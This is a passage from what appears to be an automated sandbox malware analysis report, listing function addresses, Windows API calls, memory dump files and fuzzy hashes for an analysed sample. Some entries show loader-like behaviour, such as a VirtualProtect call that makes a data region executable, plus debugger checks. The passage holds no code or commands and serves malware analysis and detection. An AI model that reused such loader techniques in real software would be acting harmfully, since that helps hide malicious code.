Instruction Fuzzy Hash: 915160708152998BDF11CFA8D845BEEBFB0BF0A315F2441AAD845B3382C3795A15CFA5

Function 002C70B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(002DD900,0000000C), ref: 002C70CA
ExitThread.KERNEL32 ref: 002C70D1

Strings

f2,, xrefs: 002C7107

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ErrorExitLastThread
String ID: f2,
API String ID: 1611280651-1823692306
Opcode ID: dea98945d65cd138372eb41f0ce414b670711b4712f23f9cd7f0ec43c23b80f9
Instruction ID: 3f5514d8cad0071cc1aa5e52ea2f4d0a42be806b9c651c2268ced6a1f0f42e7d
Opcode Fuzzy Hash: dea98945d65cd138372eb41f0ce414b670711b4712f23f9cd7f0ec43c23b80f9
Instruction Fuzzy Hash: 9DF03C719606059FDB10AFB0D84AF6E3B64EF00711F20464EF505972A2CF759D61CFA1

Function 002C1710 Relevance: 4.6, APIs: 3, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C1000: _strlen.LIBCMT ref: 002C108D

FreeConsole.KERNELBASE ref: 002C1741

Part of subcall function 002C13F0: CoResumeClassObjects.OLE32 ref: 002C150E
Part of subcall function 002C13F0: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 002C1521

VirtualProtect.KERNELBASE(002DE01C,00000549,00000040,?), ref: 002C1790
ExitProcess.KERNEL32 ref: 002C17C6

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ClassConsoleDispatcherExceptionExitFreeObjectsProcessProtectResumeUserVirtual_strlen
String ID:
API String ID: 3360678313-0
Opcode ID: 8c445e48b26c1075d5ad9f8a4465a43e07d5579bacb98feb7d9335711609cf2e
Instruction ID: 98e085e5c3a6c8fe7ec1cb57a0c4fc86ee0b2cfab2b59181d9dd7e789cf01f0a
Opcode Fuzzy Hash: 8c445e48b26c1075d5ad9f8a4465a43e07d5579bacb98feb7d9335711609cf2e
Instruction Fuzzy Hash: F811CA71E60104ABDB007B649C07FAE7764DB41702F41446AF908BB3C3DAB5AD308AD5

Function 002C6F9F Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000070B7,00000000,00000000,00000000), ref: 002C6FE8
GetLastError.KERNEL32(?,?,?,?,002C1DD3,00000000,00000000), ref: 002C6FF4
__dosmaperr.LIBCMT ref: 002C6FFB

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 340ce234245e1482bb4d4f0be65ab9b5ba74b821f357a1646e4da8eef305b736
Instruction ID: f3633932fbdd8ec9f49c631fc31e3585b55f13e952ad5aaac82e78635b765345
Opcode Fuzzy Hash: 340ce234245e1482bb4d4f0be65ab9b5ba74b821f357a1646e4da8eef305b736
Instruction Fuzzy Hash: 25014C7252520AABDF16AFA0DC16FAE7BA5EF00361F10425DF90196190DB71CE60EF90

Function 002C20C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002C20C5

Part of subcall function 002C2CA2: std::invalid_argument::invalid_argument.LIBCONCRT ref: 002C2CAE
Part of subcall function 002C2CA2: std::exception::exception.LIBCMT ref: 002C2CCB

Part of subcall function 002C2D17: GetCurrentThreadId.KERNEL32 ref: 002C2D42

Strings

string too long, xrefs: 002C20C0

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CurrentThreadXinvalid_argumentstd::_std::exception::exceptionstd::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2087764332-2556327735
Opcode ID: 8050dbdcb28029a97178f6e537b0343fdd9ea460788acca5eab8a9b20a32197d
Instruction ID: 518d6b86283385e9a3cef53c10485bc8da377b0b1c833cf972e003b2cff5dfb0
Opcode Fuzzy Hash: 8050dbdcb28029a97178f6e537b0343fdd9ea460788acca5eab8a9b20a32197d
Instruction Fuzzy Hash: 55018BB1D40249DFCB04DFA4D846B9FBBB5FB45720F004229E805A3740DB399A55CEE1

Function 002CF4C2 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002CF86C: GetConsoleOutputCP.KERNEL32(54DFDFAE,00000000,00000000,?), ref: 002CF8CF

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,002C56A2,?,002C5904), ref: 002CF647
GetLastError.KERNEL32(?,002C56A2,?,002C5904,?,002C5904,?,?,?,?,?,?,?,00000000,?,?), ref: 002CF651

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 621bf4224885a2c2692950017406e67ff746ab56e229e7965c7a0eb337b273ac
Instruction ID: 4f86a83623aa221e58e42c7fe4a3608211dd7f7d9f03608f6a0dea1a29c8be9b
Opcode Fuzzy Hash: 621bf4224885a2c2692950017406e67ff746ab56e229e7965c7a0eb337b273ac
Instruction Fuzzy Hash: 0C61B571D2010AAFDF51CFA8DA44FEEBBBAAF09304F240269E910A7251D771D925CB50

Function 002C234A Relevance: 3.1, APIs: 2, Instructions: 94
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C3F3E: RaiseException.KERNEL32(E06D7363,00000001,00000003,002C20CA,?,?,?,002C2CC1,002C20CA,002DD820,?,002C20CA,string too long,002C12D2), ref: 002C3F9F

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002C2E92
___raise_securityfailure.LIBCMT ref: 002C2F7A

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID:
API String ID: 3749517692-0
Opcode ID: 57b3d92943c2cddbbbdcf3f1d7b4b4ac2b56ee08592580c7167d5babb1c40aa3
Instruction ID: 5ed9e14bab9a5c936d1b27ed0df19fdb8c5201f37b6bb253cda8adb974c160d4
Opcode Fuzzy Hash: 57b3d92943c2cddbbbdcf3f1d7b4b4ac2b56ee08592580c7167d5babb1c40aa3
Instruction Fuzzy Hash: D83169B8C623059BC780DF15FE4DB447BA8AB04300F21867BE916C76A1E7B09E558B88

Function 002CFC9B Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,002CF62D,?,002C5904,?,?,?,00000000), ref: 002CFD37
GetLastError.KERNEL32(?,002CF62D,?,002C5904,?,?,?,00000000,?,?,?,?,?,002C56A2,?,002C5904), ref: 002CFD5D

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 412c6d531f6595db4789ff18fac25c8fac64906acd6b2e1f6dcccec60bc2f3a3
Instruction ID: f95c0e641f78898f66f123141b2a6f91264f3b243337ba7898483bb835761e87
Opcode Fuzzy Hash: 412c6d531f6595db4789ff18fac25c8fac64906acd6b2e1f6dcccec60bc2f3a3
Instruction Fuzzy Hash: B2216031A102199BCF15CF29DD84BE9B7BAEB49301F2445BEE906D7251D630DE92CF60

Function 002CA59C Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,002CA48B,002DDC40,0000000C), ref: 002CA5E8
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,002CA48B,002DDC40,0000000C), ref: 002CA5FA

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 9920e8a803cd73de38d781c02bb320c871028bac06ab721698fe8206e2f7cb6a
Instruction ID: df6a36f6f491efd090c07d906c4d1a16d69c7e89b9768bb11d6f16e28649e682
Opcode Fuzzy Hash: 9920e8a803cd73de38d781c02bb320c871028bac06ab721698fe8206e2f7cb6a
Instruction Fuzzy Hash: 57112C7192474646CB304E3D8C88F227AA8A7563BCB3C071EE1B7C25F1C634DD52C252

Function 002C9C89 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ceff4ec336c2ed663924560b56cf414ecb2589fa103ea00e68a8e8d8138d1d8
Instruction ID: 4ba3beb98808a4b30b6bfb21abae31733fb1d376c7c31eabdbbca237cadd2060
Opcode Fuzzy Hash: 3ceff4ec336c2ed663924560b56cf414ecb2589fa103ea00e68a8e8d8138d1d8
Instruction Fuzzy Hash: 6201D233A202229BDF029E68FC8CF5637A9BB85720725462AF9019B194DA31DD60C780

Function 002CB8D6 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,002CAB77,?,?,002CAB77,00000220,?,00000000,?), ref: 002CB908

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4cd3477a4fee003ad07b61b603b282eee0f00b7ed632115e318063d08fe61ee6
Instruction ID: d79e5880c1d985098be261e2b731bd1d1bad9e6426d9e5068034d1ac88ade4dd
Opcode Fuzzy Hash: 4cd3477a4fee003ad07b61b603b282eee0f00b7ed632115e318063d08fe61ee6
Instruction Fuzzy Hash: F1E0A73153222256DA322A619C07F66374C8B417A0F140319ED0597191CB608C209DE4

Non-executed Functions

Function 002D1A10 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7946e7d3bd8a4c71b1004167feaff1146a0b4289e9922db4fb30fff94b398ee0
Instruction ID: db5dd3a8013afd7c58894f55a4783390c73feb915cecf7cf18237e1b61e3c174
Opcode Fuzzy Hash: 7946e7d3bd8a4c71b1004167feaff1146a0b4289e9922db4fb30fff94b398ee0
Instruction Fuzzy Hash: 43023C71E1121AABDF14CFA9C9807AEBBB5FF48314F24826AD915A7740D731AD21CB90

Function 002CD922 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002CDA12

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 25b3bc0eae4672a49ce4db50f75207b0b436201177c7752a98808c9c258dfcf2
Instruction ID: 51fb1012a5b3a5c0fc04e4547907a382bddf952e8efdbba39158eded5ab7eb3c
Opcode Fuzzy Hash: 25b3bc0eae4672a49ce4db50f75207b0b436201177c7752a98808c9c258dfcf2
Instruction Fuzzy Hash: 6171E47582515AAFDF20EF248C89FBAB7B8EB05304F1443EEE44DA3251DA314E958F10

Function 002C39F1 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 002C39FD
IsDebuggerPresent.KERNEL32 ref: 002C3AC9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 002C3AE2
UnhandledExceptionFilter.KERNEL32(?), ref: 002C3AEC

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ee04a11d65f94b926f921015355308007ddce0608b648447fb1eaec4065cbf11
Instruction ID: a0ae3a4af6a7bac102388040867424f377001c5947de399a395b1f8a2678dbee
Opcode Fuzzy Hash: ee04a11d65f94b926f921015355308007ddce0608b648447fb1eaec4065cbf11
Instruction Fuzzy Hash: DB312975C152199BDF21EF64DC49BCDBBB8AF08300F1045AAE40DAB250E7709B84CF45

Function 002C8077 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 002C816F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 002C8179
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 002C8186

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a465e724cf34ae15a99e8fb52cdb3af04e13bfb8a39303afec5dba118ee30728
Instruction ID: f5b2fb45b1ec07647ef5586920133909deab06175038e7e8c27ee79a2af9fa22
Opcode Fuzzy Hash: a465e724cf34ae15a99e8fb52cdb3af04e13bfb8a39303afec5dba118ee30728
Instruction Fuzzy Hash: CA31B7749512199BCB21DF64DC89BCDBBB4AF48310F5046EAE40CA7250EB709F95CF54

Function 002C39E5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00003B06,002C349D), ref: 002C39EA

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d34c1c189024e2e2cd288966ac2311f2b5a844074071d15221bae77a11a5187f
Instruction ID: b1ff0084c258e7a29d40c3b53cb7ac846c5eb54844c54d3a25c768ba85f5d5b9
Opcode Fuzzy Hash: d34c1c189024e2e2cd288966ac2311f2b5a844074071d15221bae77a11a5187f
Instruction Fuzzy Hash:

Function 002C9E16 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 002C9E16

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0724d998132157cda4bd6bdb4b545c5da20f81140398b7f69fa5b787fb408398
Instruction ID: f781b36d478e105c13e39fd79635605f48560d744f4aa514911deb50f1d03d2a
Opcode Fuzzy Hash: 0724d998132157cda4bd6bdb4b545c5da20f81140398b7f69fa5b787fb408398
Instruction Fuzzy Hash: 2CA011B0E032028B83808F32BA0C3083BA8BA022E0300802BA00AC2020EB208800EF00

Function 002C4650 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002C4687
___except_validate_context_record.LIBVCRUNTIME ref: 002C468F
_ValidateLocalCookies.LIBCMT ref: 002C4718
__IsNonwritableInCurrentImage.LIBCMT ref: 002C4743
_ValidateLocalCookies.LIBCMT ref: 002C4798

Strings

csm, xrefs: 002C472D
]C,, xrefs: 002C4735, 002C473E, 002C474F
f2,, xrefs: 002C475C

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ]C,$csm$f2,
API String ID: 1170836740-2564992211
Opcode ID: 4c8c565ddd9dae6e61ced0e5defced897dafe0357b9b5ed091cd8e00b81249e5
Instruction ID: 9c6600922a2bb24c1ca72189d381acc2d337ed76900463b10cafe3530f4502dd
Opcode Fuzzy Hash: 4c8c565ddd9dae6e61ced0e5defced897dafe0357b9b5ed091cd8e00b81249e5
Instruction Fuzzy Hash: D241B334E202099BCF10EF68C898F9EBBB5AF46314F248259E8149B392C7319D65CF90

